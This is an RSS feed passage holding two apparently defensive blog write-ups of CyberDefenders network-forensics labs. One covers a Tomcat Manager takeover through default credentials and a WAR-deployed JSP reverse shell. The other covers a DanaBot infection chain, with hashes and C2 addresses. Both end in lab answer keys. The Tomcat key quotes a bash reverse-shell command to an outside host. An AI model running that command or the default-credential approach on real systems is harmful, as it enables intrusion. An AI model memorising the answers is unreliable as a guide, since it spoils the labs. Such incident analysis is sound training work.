successfully accessed the path <strong>/manager/html/upload</strong> and used the default credentials<strong>:</strong> <strong>admin:tomcat</strong> associated with the <strong>Tomcat</strong> <strong>server</strong>. Using these credentials, the attacker logged in to the Tomcat Manager interface located at <strong>/manager/html</strong>. Then, a malicious WAR file named <strong>JXQOZY.war</strong> was uploaded to the server.</li><li>It’s important to note that when a <strong>.war</strong> file is uploaded to a <strong>Tomcat Server</strong>, it automatically extracts the contents and deploys them under a new context path based on the filename. As a result, a new accessible path<strong> </strong><strong>/JXQOZY</strong> was created for the uploaded file.</li></ul><p><strong>Request 2 from HTTP Stream :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2B2kBJCKlfbawHtx-dg54Q.png" /></figure><pre>Source IP: 14.0.0.120   --&gt;   Destination IP: 10.0.0.112<br><br># Request :<br>GET /JXQOZY/        # an attempt by the attacker to access the malicious WAR application that had been previously deployed.<br><br># Response :<br>HTTP/1.1 200 OK     # The request was successfully, which indicates that the JXQOZY.war file was deployed correctly, and the attacker was able to execute the malicious code.</pre><p><strong>Conclusion:</strong></p><ul><li>Tomcat Server Misconfiguration .</li></ul><p>َ</p><h4>Step 2: Malicious File Analysis (<strong>JXQOZY.war</strong>) :</h4><p>َ</p><ol><li>I used <strong>NetworkMiner</strong> to extract the malicious <strong>JXQOZY.war</strong> file. I then changed its extension to <strong>JXQOZY.zip</strong> in order to extract its contents, and inside, I found a JSP file named <strong>rzpmxxmm.jsp</strong>.</li><li>After analyzing the file’s content, it was identified as a <strong>Backdoor JSP Shell</strong> designed to establish a <strong>Reverse Shell</strong> from the server (<strong>10.0.0.112</strong>) to the attacker (<strong>10.0.0.142</strong>) on port <strong>80</strong>. The code first checks the operating system, then executes the appropriate shell (<strong>/bin/sh</strong> or <strong>cmd.exe</strong>) and connects it to the socket, allowing the attacker to execute system commands remotely.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*qUt4Ox3uweAtW8RbXB56PA.png" /></figure><p><strong>Conclusion :</strong></p><ul><li>The attacker successfully exploited the Apache Tomcat Manager by using default credentials to upload a malicious WAR file containing a JSP backdoor. Once deployed, the attacker accessed the backdoor and established a reverse shell from the internal server (10.0.0.112) to their machine (10.0.0.142) on port 80, gaining remote command execution capability on the target server.</li></ul><p>َ</p><h4>🧠 Conclusions :</h4><p>َ</p><blockquote><strong><em>1. Given the suspicious activity detected on the web server, the PCAP file reveals a series of requests across various ports, indicating potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server ?</em></strong></blockquote><blockquote>14.0.0.120</blockquote><blockquote><strong><em>2. Based on the identified IP address associated with the attacker, can you identify the country from which the attacker’s activities originated ?</em></strong></blockquote><blockquote>China</blockquote><blockquote><strong><em>3. From the PCAP file, multiple open ports were detected as a result of the attacker’s active scan. Which of these ports provides access to the web server admin panel ?</em></strong></blockquote><blockquote>8080</blockquote><blockquote><strong><em>4. Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process ?</em></strong></blockquote><blockquote>gobuster</blockquote><blockquote><strong><em>5. After the effort to enumerate directories on our web server, the attacker made numerous requests to identify administrative interfaces. Which specific directory related to the admin panel did the attacker uncover ?</em></strong></blockquote><blockquote>/manager</blockquote><blockquote><strong><em>6. After accessing the admin panel, the attacker tried to brute-force the login credentials. Can you determine the correct username and password that the attacker successfully used for login ?</em></strong></blockquote><blockquote>admin:tomcat</blockquote><blockquote><strong><em>7. Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data ?</em></strong></blockquote><blockquote>JXQOZY.war</blockquote><blockquote><strong><em>8. After successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence ?</em></strong></blockquote><blockquote>/bin/bash -c ‘bash -i &gt;&amp; /dev/tcp/14.0.0.120/443 0&gt;&amp;1’</blockquote><p>💼 <a href="https://www.linkedin.com/in/omer-secure?source=user_about----------------------ac04f87e55b8----------------------"><strong>Linkedin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=234e8f129ad9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DanaBot Lab Analysis]]></title>
            <link>https://omersecure.medium.com/danabot-lab-analysis-7dbaa179f3e4?source=rss-ac04f87e55b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/7dbaa179f3e4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Omer Bawazir]]></dc:creator>
            <pubDate>Wed, 02 Jul 2025 15:49:58 GMT</pubDate>
            <atom:updated>2025-07-27T15:58:47.796Z</atom:updated>
            <content:encoded><![CDATA[<h4>🕵️ CyberDefender — (SOC T1 - Level 2 - Lab 6) — Network Forensics</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*8q8prIcC8ymefqW_HIG3Iw.png" /></figure><h4>🧩 Scenario :</h4><p>The SOC team has detected suspicious activity in the network traffic, revealing that a machine has been compromised. Sensitive company information has been stolen. Your task is to use Network Capture (PCAP) files and Threat Intelligence to investigate the incident and determine how the breach occurred.</p><ul><li><a href="https://cyberdefenders.org/blueteam-ctf-challenges/danabot/"><strong>DanaBot Lab</strong></a></li></ul><h4>⚙️ Tools Used :</h4><ul><li>Wireshark</li><li>VirusTotal</li><li>SHA-256/MD5 - Online tools</li></ul><h3>🔍 Investigation Steps :</h3><h4>Step 1: Initial Access Detection :</h4><p>َ</p><p>from Statistics <strong>Statistics &gt; IPv4 Statistics &gt; All Addresses</strong> See IPs suspicious :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*AC4PHx-An-HqjfVc9Tp8cA.png" /></figure><p><strong>Filter used in Wireshark :</strong></p><pre>ip.addr == 10.2.14.101 &amp;&amp; (ftp || smb || smtp)  # Filter 1<br>ip.addr == 10.2.14.101 &amp;&amp; http                  # Filter 2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0TrIM-RQlGIvJ2Dr581ePA.png" /></figure><p><strong>Analysis :</strong></p><ul><li>I didn’t find any genuine FTP or SMTP packets; instead, I spotted some HTTP packets and focused my analysis on those.</li><li>Observed a <strong>GET /login.php</strong> request and Performed “<strong>Follow -&gt; HTTP Stream</strong>” on the request and noticed highly suspicious response behavior :</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTN7VqbPwBkYdfSFR1QyJg.png" /></figure><pre><strong>Content-disposition: attachment;filename=allegato_708.js</strong></pre><ul><li><strong>Content-disposition: attachment;filename=allegato_708.js</strong> (a malicious attachment forcing the browser to download <strong>allegato_708.js</strong> onto the victim&#39;s machine).</li><li>The allegato_708.js file contains obfuscated JavaScript code.</li></ul><p><strong>Conclusion:</strong></p><ul><li>The site portfolio.serveirc.com/login.php appears malicious as it automatically downloads suspicious files when visited. I will now analyze allegato_708.js to confirm if it’s malicious.</li></ul><pre>Source      (Internal) IP: 10.2.14.101     (Victim Machine)<br>Destination (External) IP: 62.173.142.148  (Host: portfolio.serveirc.com)</pre><p>َ</p><h4>Step 2: Malicious File Analysis (allegato_708.js) :</h4><p>َ</p><p><strong>From the HTTP Stream :</strong></p><ol><li>I Copied the allegato_708.js content and used <a href="https://emn178.github.io/online-tools/sha256.html"><strong>SHA-256 tool</strong></a> to calculate its hash, then checked it in VirusTotal.<br> — OR —</li><li>you can Extract the file via Wireshark: <strong>File &gt; Export Objects &gt; HTTP</strong> then analyzed it in VirusTotal or performed static analysis.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qZZ2CBEooSSrHuXhqWxtAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LUWWuea91-DRJqC0xA3KsA.png" /></figure><p><strong>Conclusion :</strong></p><ul><li><strong>Finding File SHA-256:</strong> 847b4ad90b1daba2d9117a8e05776f3f902dda593fb1252289538acf476c4268 matches known Threat Intelligence.</li><li>The code contains execution commands aiming to download and execute a secondary <strong>DLL</strong> file via wscript.exe.</li></ul><pre>Suspicious   |   Value<br>---------------------------<br>IP           |   62.173.142.148<br>Host         |   portfolio.serveirc.com<br>File         |   allegato_708.js<br>SHA256 Hash  |   847b4ad90b1daba2d9117a8e05776f3f902dda593fb1252289538acf476c4268</pre><p>َ</p><h4>Step 3: Secondary DLL Extraction and Analysis :</h4><p>َ</p><p><strong>Filter used :</strong></p><pre>http.file_data matches &quot;.dll&quot; &amp;&amp; ip.addr == 10.2.14.101</pre><p><strong>Analysis :</strong></p><ul><li>Filtered all HTTP traffic from the victim IP for .dll files. Found only one request GET /resources.dll :</li></ul><pre>Source IP: 188.144.97.3       (Host: soundata.top)<br>Destination IP: 10.2.14.101   (Victim Device)</pre><ul><li>Extracted the DLL via Wireshark: <strong>File &gt; Export Objects &gt; HTTP</strong> and saved it in an isolated environment.</li><li>Calculated MD5 hash: <strong>e758e07113016aca55d9eda2b0ffeebe</strong></li><li>VirusTotal analysis confirmed it’s part of DanaBot threats, containing core C2 communication and exfiltration capabilities.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XASW4Cxiuv24vVuCeCAbvQ.png" /></figure><p><strong>Conclusion :</strong></p><ul><li>The DLL represents the attack’s second stage.</li></ul><pre>Suspicious  |  Value<br>-------------------------<br>IP          |  188.144.97.3<br>Host        |  soundata.top<br>File        |  resources.dll<br>MD5 Hash    |  e758e07113016aca55d9eda2b0ffeebe</pre><blockquote>At this point, all DanaBot Lab questions have been answered.</blockquote><h4>🔍 Additional Step : Data Exfiltration Analysis :</h4><p>َ</p><p>After analyzing the DLL file via VirusTotal, it was found to be associated with five suspicious IP addresses :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HD0I1INL5kTYRD_eOIjuhw.png" /></figure><p><strong>Filters used :</strong></p><pre>ip.src == 10.2.14.101 &amp;&amp; ip.dst == 188.144.97.3    # No Packets<br>ip.src == 10.2.14.101 &amp;&amp; ip.dst == 62.173.146.41   # No Packets<br>ip.src == 10.2.14.101 &amp;&amp; ip.dst == 40.119.148.38   # No Packets<br>ip.src == 10.2.14.101 &amp;&amp; ip.dst == 31.41.244.38    # No Packets<br>ip.src == 10.2.14.101 &amp;&amp; ip.dst == 195.133.88.98   # Packets<br>ip.src == 10.2.14.101 &amp;&amp; ip.dst == 91.201.67.85    # Packets<br><br>(ip.src == 10.2.14.101) &amp;&amp; (ip.dst == 195.133.88.98 || ip.dst == 91.201.67.85) &amp;&amp; (tcp.len &gt; 1400) # Additional filter for large packets</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Hjj8nqMgiGbm5C6jmFkZA.png" /></figure><p><strong>Analysis :</strong></p><ul><li>I focused the filtering on <strong>outgoing packets</strong> from the victim machine to the suspicious IPs, specifically those <strong>larger than 1400 bytes</strong>, to check for potential large-scale data transfers.</li><li>A <strong>significant number of packets</strong> matched the filter, and most of them were <strong>1514 bytes in size</strong>, which is nearly the <strong>maximum Ethernet frame size</strong>. This strongly suggests that <strong>large volumes of data</strong> were being transmitted.</li><li>Additionally, the presence of many packets from the same session indicates a <strong>persistent connection</strong>, supporting the possibility that <strong>data exfiltration</strong> was occurring in a structured and continuous manner.</li></ul><p><strong>Conclusion :</strong></p><pre>Suspicious  |  Value<br>-------------------------<br>IP          |  195.133.88.98<br>IP          |  91.201.67.85</pre><p>َ</p><h4>🧠 Conclusions :</h4><p>َ</p><blockquote><strong>1. Which IP address was used by the attacker during the initial access ?</strong></blockquote><blockquote>62.173.142.148</blockquote><blockquote><strong>2. What is the name of the malicious file used for initial access ?</strong></blockquote><blockquote><em>allegato_708.js</em></blockquote><blockquote><strong>3. What is the SHA-256 hash of the malicious file used for initial access ?</strong></blockquote><blockquote><em>847b4ad90b1daba2d9117a8e05776f3f902dda593fb1252289538acf476c4268</em></blockquote><blockquote><strong>4. Which process was used to execute the malicious file ?</strong></blockquote><blockquote><em>wscript.exe</em></blockquote><blockquote><strong>5. What is the file extension of the second malicious file utilized by the attacker?</strong></blockquote><blockquote><em>.dll</em></blockquote><blockquote><strong>6. What is the MD5 hash of the second malicious file ?</strong></blockquote><blockquote><em>e758e07113016aca55d9eda2b0ffeebe</em></blockquote><p>💼 <a href="https://www.linkedin.com/in/omer-secure?source=user_about----------------------ac04f87e55b8----------------------"><strong>Linkedin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7dbaa179f3e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>